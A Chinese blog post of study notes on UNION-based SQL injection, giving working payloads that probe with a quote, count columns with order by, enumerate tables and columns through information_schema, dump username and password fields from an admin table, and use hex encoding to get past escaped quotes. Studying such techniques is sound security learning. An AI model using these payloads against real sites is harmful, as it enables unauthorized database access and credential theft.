东哥视频学习笔记——SQL注入之联合注入

 

一、判断

通过单引号,判断是否能够注入,如' or 1=1等等

 

二、猜解字段

猜解字段,通过group by 和 order by 以及 union 查询进行判断

如一个表的字段有: id username password

 

可以通过上述方法进行查询

 

如:

select * from admin where id = 1 order by 3   当3变为4的时候就会报错

select * from admin where id = 1  union select 1,database(),3;  通过联合查询,查询出数据库名

 

三、通过字段可以猜解一下内容

获取当前数据库名:database()

获取当前数据库版本号:version()

查看当前用户:user()

 

四、获取数据库的表

id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='database()'   database()填写爆出来的数据库名  进入information_schema数据库里面的表TABLES,里面包含了所有的表名。<只有前面判断的条件错误 即1=2 才能输出后面的结果,前面的结果才不会输出,若要输出前面的结果,需要使前面的条件正确>

 

五、获取表里面的字段

id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'admin' limit 2,1  2代表爆出第二个字段,进入information_schema数据库里的表COLUMNS(该表中集合了数据库所有的字段)

 

六、获取字段对应的数据

id=2 and 1 = 2 union select 1,username,password from admin  (通过上述方法获取到字段有username和password,表名为admin)

 

 

注意:

1.当查询结果使用break跳出循环时,输出只有一个查询结果,可以使前面的一个查询报错不显示查询结果,union后面查询的时候就会显示在第一条。

2.使用limit  如语句    

id = 2 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'biaoming' limit 0,1   0代表从第一条查询只要一条数据,将0修改为1 代表从第二条开始查询只要一条数据。 

3.若是单引号被转义了,将表名修改为16进制,不需要使用单引号。

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值